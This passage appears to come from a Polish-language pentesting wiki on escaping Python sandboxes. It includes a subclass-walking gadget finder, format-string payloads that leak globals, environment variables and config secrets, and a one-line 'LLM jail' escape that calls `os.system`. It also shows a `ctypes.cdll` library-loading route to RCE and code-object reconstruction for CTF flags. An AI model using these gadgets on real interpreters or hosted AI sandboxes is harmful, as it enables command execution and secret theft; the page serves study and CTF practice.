bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] for b in bad_libraries_names + bad_func_names: vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] print(f"{b}: {', '.join(vuln_funcs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pip: pdb: system: _wrap_close, _wrap_close getstatusoutput: CompletedProcess, Popen getoutput: CompletedProcess, Popen call: CompletedProcess, Popen Popen: CompletedProcess, Popen spawn: import_module: __import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec load_source: NullImporter, _HackedGetData execfile: execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """

Rekurencyjne wyszukiwanie Builtins, Globals...

warning

To jest po prostu niesamowite. Jeśli szukasz obiektu takiego jak globals, builtins, open lub czegokolwiek innego, po prostu użyj tego skryptu, aby rekurencyjnie znaleźć miejsca, w których możesz znaleźć ten obiekt.

python
import os, sys # Import these to find more gadgets SEARCH_FOR = { # Misc "__globals__": set(), "builtins": set(), "__builtins__": set(), "open": set(), # RCE libs "os": set(), "subprocess": set(), "commands": set(), "pty": set(), "importlib": set(), "imp": set(), "sys": set(), "pip": set(), "pdb": set(), # RCE methods "system": set(), "popen": set(), "getstatusoutput": set(), "getoutput": set(), "call": set(), "Popen": set(), "popen": set(), "spawn": set(), "import_module": set(), "__import__": set(), "load_source": set(), "execfile": set(), "execute": set() } #More than 4 is very time consuming MAX_CONT = 4 #The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found #ALREADY_CHECKED = set() def check_recursive(element, cont, name, orig_n, orig_i, execute): # If bigger than maximum, stop if cont > MAX_CONT: return # If already checked, stop #if name and name in ALREADY_CHECKED: # return # Add to already checked #if name: # ALREADY_CHECKED.add(name) # If found add to the dict for k in SEARCH_FOR: if k in dir(element) or (type(element) is dict and k in element): SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}") # Continue with the recursivity for new_element in dir(element): try: check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute) # WARNING: Calling random functions sometimes kills the script # Comment this part if you notice that behaviour!! if execute: try: if callable(getattr(element, new_element)): check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute) except: pass except: pass # If in a dict, scan also each key, very important if type(element) is dict: for new_element in element: check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i) def main(): print("Checking from empty string...") total = [""] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Empty str {i}", True) print() print("Checking loaded subclasses...") total = "".__class__.__base__.__subclasses__() for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Subclass {i}", True) print() print("Checking from global functions...") total = [print, check_recursive] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Global func {i}", False) print() print(SEARCH_FOR) if __name__ == "__main__": main()

Możesz sprawdzić wynik tego skryptu na tej stronie:

https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md

Python Format String

Jeśli wyślesz ciąg do Pythona, który ma być formatowany, możesz użyć {}, aby uzyskać dostęp do wewnętrznych informacji Pythona. Możesz użyć wcześniejszych przykładów, aby uzyskać dostęp do globals lub builtins na przykład.

python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { "KEY": "ASXFYFGK78989" } class PeopleInfo: def __init__(self, fname, lname): self.fname = fname self.lname = lname def get_name_for_avatar(avatar_str, people_obj): return avatar_str.format(people_obj = people_obj) people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people)

Zauważ, jak możesz uzyskać dostęp do atrybutów w normalny sposób za pomocą kropki jak people_obj.__init__ i elementu dict z nawiasami bez cudzysłowów __globals__[CONFIG].

Zauważ również, że możesz użyć .__dict__, aby wyliczyć elementy obiektu get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people).

Niektóre inne interesujące cechy formatów ciągów to możliwość wykonywania funkcji str, repr i ascii w wskazanym obiekcie, dodając !s, !r, !a odpowiednio:

python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people)

Ponadto możliwe jest kodowanie nowych formatterów w klasach:

python
class HAL9000(object): def __format__(self, format): if (format == 'open-the-pod-bay-doors'): return "I'm afraid I can't do that." return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that.

Więcej przykładów dotyczących formatu łańcucha można znaleźć w https://pyformat.info/

ostrzeżenie

Sprawdź również następującą stronę w poszukiwaniu gadżetów, które read sensitive information from Python internal objects:

Python Internal Read Gadgets

Payloady ujawniające wrażliwe informacje

python
{whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} {whoami.__globals__[os].environ} {whoami.__globals__[sys].path} {whoami.__globals__[sys].modules} # Access an element through several links {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} # Example from https://corgi.rip/posts/buckeye-writeups/ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless

Obejście LLM Jails

Z tutaj: ().class.base.subclasses()[108].load_module('os').system('dir')

Od formatu do RCE ładowania bibliotek

Zgodnie z wyzwaniem TypeMonkey z tego opisu, możliwe jest ładowanie dowolnych bibliotek z dysku, wykorzystując lukę w formacie łańcucha w pythonie.

Przypomnienie: za każdym razem, gdy wykonywana jest akcja w pythonie, wywoływana jest jakaś funkcja. Na przykład 2*3 wykona (2).mul(3) lub {'a':'b'}['a'] będzie {'a':'b'}.__getitem__('a').

Masz więcej takich przykładów w sekcji Wykonanie Pythona bez wywołań.

Luka w formacie łańcucha w pythonie nie pozwala na wykonanie funkcji (nie pozwala na użycie nawiasów), więc nie jest możliwe uzyskanie RCE jak '{0.system("/bin/sh")}'.format(os).
Jednak możliwe jest użycie []. Dlatego, jeśli powszechna biblioteka pythonowa ma metodę __getitem__ lub __getattr__, która wykonuje dowolny kod, można je wykorzystać do uzyskania RCE.

Szukając takiego gadżetu w pythonie, opis proponuje tę kwerendę wyszukiwania na Githubie. Gdzie znalazł ten przykład:

python
class LibraryLoader(object): def __init__(self, dlltype): self._dlltype = dlltype def __getattr__(self, name): if name[0] == '_': raise AttributeError(name) try: dll = self._dlltype(name) except OSError: raise AttributeError(name) setattr(self, name, dll) return dll def __getitem__(self, name): return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL)

To urządzenie pozwala na załadowanie biblioteki z dysku. Dlatego konieczne jest w jakiś sposób napisać lub przesłać bibliotekę do załadowania poprawnie skompilowaną na zaatakowany serwer.

python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

Wyzwanie w rzeczywistości wykorzystuje inną lukę w serwerze, która pozwala na tworzenie dowolnych plików na dysku serwera.

Analiza obiektów Pythona

note

Jeśli chcesz nauczyć się o bajtkodzie Pythona w głębi, przeczytaj ten świetny post na ten temat: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d

W niektórych CTF-ach możesz otrzymać nazwę niestandardowej funkcji, w której znajduje się flaga i musisz zobaczyć wnętrze funkcji, aby ją wyodrębnić.

To jest funkcja do zbadania:

python
def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] if some_input == var2: return "THIS-IS-THE-FALG!" else: return "Nope"

dir

python
dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ i func_globals (te same) Uzyskuje globalne środowisko. W przykładzie można zobaczyć kilka zaimportowanych modułów, kilka zmiennych globalnych i ich zadeklarowaną zawartość:

python
get_flag.func_globals get_flag.__globals__ {'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>} #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__

Zobacz tutaj więcej miejsc, aby uzyskać globals

Dostęp do kodu funkcji

__code__ i func_code: Możesz uzyskać dostęp do tego atrybutu funkcji, aby uzyskać obiekt kodu funkcji.

python
# In our current example get_flag.__code__ <code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1 # Compiling some python code compile("print(5)", "", "single") <code object <module> at 0x7f9ca01330c0, file "", line 1> #Get the attributes of the code object dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

Uzyskiwanie informacji o kodzie

python
# Another example s = ''' a = 5 b = 'text' def f(x): return x f(5) ''' c=compile(s, "", "exec") # __doc__: Get the description of the function, if any print.__doc__ # co_consts: Constants get_flag.__code__.co_consts (None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope') c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None. (5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None # co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects. get_flag.__code__.co_names () c.co_names ('a', 'b', 'f') #co_varnames: Local names used by the bytecode (arguments first, then the local variables) get_flag.__code__.co_varnames ('some_input', 'var1', 'var2', 'var3') #co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions. get_flag.__code__.co_cellvars () #co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function. get_flag.__code__.co_freevars () #Get bytecode get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Rozbicie funkcji

python
import dis dis.dis(get_flag) 2 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (var1) 3 6 LOAD_CONST 2 ('secretcode') 9 STORE_FAST 2 (var2) 4 12 LOAD_CONST 3 ('some') 15 LOAD_CONST 4 ('array') 18 BUILD_LIST 2 21 STORE_FAST 3 (var3) 5 24 LOAD_FAST 0 (some_input) 27 LOAD_FAST 2 (var2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!') 39 RETURN_VALUE 8 >> 40 LOAD_CONST 6 ('Nope') 43 RETURN_VALUE 44 LOAD_CONST 0 (None) 47 RETURN_VALUE

Zauważ, że jeśli nie możesz zaimportować dis w piaskownicy Pythona, możesz uzyskać bytecode funkcji (get_flag.func_code.co_code) i zdekompilować go lokalnie. Nie zobaczysz zawartości zmiennych ładowanych (LOAD_CONST), ale możesz je zgadnąć z (get_flag.func_code.co_consts), ponieważ LOAD_CONST również wskazuje offset zmiennej, która jest ładowana.

python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (1) 6 LOAD_CONST 2 (2) 9 STORE_FAST 2 (2) 12 LOAD_CONST 3 (3) 15 LOAD_CONST 4 (4) 18 BUILD_LIST 2 21 STORE_FAST 3 (3) 24 LOAD_FAST 0 (0) 27 LOAD_FAST 2 (2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 36 LOAD_CONST 5 (5) 39 RETURN_VALUE >> 40 LOAD_CONST 6 (6) 43 RETURN_VALUE 44 LOAD_CONST 0 (0) 47 RETURN_VALUE

Kompilowanie Pythona

Teraz wyobraźmy sobie, że w jakiś sposób możesz zrzucić informacje o funkcji, której nie możesz wykonać, ale musiszwykonać.
Jak w poniższym przykładzie, możesz uzyskać dostęp do obiektu kodu tej funkcji, ale tylko czytając disassemble nie wiesz, jak obliczyć flagę (wyobraź sobie bardziej złożoną funkcję calc_flag)

python
def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] def calc_flag(flag_rot2): return ''.join(chr(ord(c)-2) for c in flag_rot2) if some_input == var2: return calc_flag("VjkuKuVjgHnci") else: return "Nope"

Tworzenie obiektu kodu

Przede wszystkim musimy wiedzieć jak stworzyć i wykonać obiekt kodu, abyśmy mogli stworzyć jeden do wykonania naszej funkcji leaked:

python
code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this code_obj = code_type(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code, co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab, freevars=None, cellvars=None) # Execution eval(code_obj) #Execute as a whole script # If you have the code of a function, execute it mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode")

note

W zależności od wersji Pythona, parametry code_type mogą mieć inną kolejność. Najlepszym sposobem, aby poznać kolejność parametrów w wersji Pythona, którą uruchamiasz, jest wykonanie:

import types types.CodeType.__doc__ 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'

Odtwarzanie wyciekłej funkcji

warning

W poniższym przykładzie weźmiemy wszystkie dane potrzebne do odtworzenia funkcji bezpośrednio z obiektu kodu funkcji. W prawdziwym przykładzie, wszystkie wartości potrzebne do wykonania funkcji code_type to to, co musisz wyciekować.

python
fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars) mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag

Bypass Defenses

W poprzednich przykładach na początku tego posta, możesz zobaczyć jak wykonać dowolny kod python za pomocą funkcji compile. To jest interesujące, ponieważ możesz wykonywać całe skrypty z pętlami i wszystkim w jednej linii (i moglibyśmy zrobić to samo używając exec).
Tak czy inaczej, czasami może być przydatne, aby utworzyć skompilowany obiekt na lokalnej maszynie i wykonać go na maszynie CTF (na przykład, ponieważ nie mamy funkcji compiled w CTF).

Na przykład, skompilujmy i wykonajmy ręcznie funkcję, która odczytuje ./poc.py:

python
#Locally def read(): return open("./poc.py",'r').read() read.__code__.co_code 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
python
#On Remote function_type = type(lambda: None) code_type = type((lambda: None).__code__) #Get <type 'type'> consts = (None, "./poc.py", 'r') bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' names = ('open','read') # And execute it using eval/exec eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())) #You could also execute it directly mydict = {} mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)()

Jeśli nie możesz uzyskać dostępu do eval lub exec, możesz stworzyć odpowiednią funkcję, ale bezpośrednie jej wywołanie zazwyczaj zakończy się niepowodzeniem z komunikatem: konstruktor niedostępny w trybie ograniczonym. Musisz więc mieć funkcję, która nie jest w ograniczonym środowisku, aby wywołać tę funkcję.

python
#Compile a regular print ftype = type(lambda: None) ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42)

Decompilacja skompilowanego Pythona

Używając narzędzi takich jak https://www.decompiler.com/, można dekompilować dany skompilowany kod Pythona.

Sprawdź ten samouczek:

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

Różne aspekty Pythona

Assert

Python uruchomiony z optymalizacjami z parametrem -O usunie instrukcje assert oraz wszelki kod warunkowy zależny od wartości debug.
Dlatego kontrole takie jak

python
def check_permission(super_user): try: assert(super_user) print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n")

będzie omijany

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks